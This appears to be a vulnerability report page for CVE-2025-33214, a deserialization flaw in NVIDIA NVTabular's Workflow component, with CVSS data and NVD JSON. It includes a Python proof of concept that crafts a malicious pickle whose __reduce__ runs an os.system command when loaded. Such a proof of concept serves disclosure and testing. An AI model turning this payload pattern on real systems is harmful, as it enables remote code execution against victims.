Security Vulnerability Report
中文
CVE-2025-33214 CVSS 8.8 HIGH

CVE-2025-33214

Published: 2025-12-09 18:15:50
Last Modified: 2026-04-15 00:35:42

Description

NVIDIA NVTabular for Linux contains a vulnerability in the Workflow component, where a user could cause a deserialization issue. A successful exploit of this vulnerability might lead to code execution, denial of service, information disclosure, and data tampering.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

NVIDIA NVTabular < 24.02.0
NVIDIA NVTabular 23.05.x - 23.12.x
NVIDIA NVTabular 0.x - 23.04.x

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-33214 PoC - Malicious serialized Workflow object # This PoC demonstrates the deserialization vulnerability in NVIDIA NVTabular import pickle import os class MaliciousPayload: def __reduce__(self): # Command to be executed upon deserialization cmd = "touch /tmp/pwned_by_cve_2025_33214" return (os.system, (cmd,)) def generate_malicious_workflow(): """Generate a malicious serialized Workflow file""" payload = MaliciousPayload() malicious_data = pickle.dumps(payload) # Save as NVTabular workflow file with open('malicious_workflow.pkl', 'wb') as f: f.write(malicious_data) print("[+] Malicious workflow file created: malicious_workflow.pkl") return malicious_data def exploit_via_workflow_load(workflow_path): """ Simulates exploitation when victim loads the malicious workflow """ try: import nvtabular as nvt # This would trigger the deserialization vulnerability workflow = nvt.Workflow.load(workflow_path) print("[-] Workflow loaded successfully (no vulnerability)") except Exception as e: print(f"[!] Error during workflow loading: {e}") if __name__ == "__main__": print("CVE-2025-33214 PoC - NVIDIA NVTabular Deserialization RCE") print("=" * 60) generate_malicious_workflow() print("\n[!] When victim loads this file with vulnerable NVTabular version,") print("[!] the command in __reduce__ will be executed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-33214", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:49.610", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA NVTabular for Linux contains a vulnerability in the Workflow component, where a user could cause a deserialization issue. A successful exploit of this vulnerability might lead to code execution, denial of service, information disclosure, and data tampering."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33214", "source": "[email protected]"}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5739", "source": "[email protected]"}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33214", "source": "[email protected]"}]}}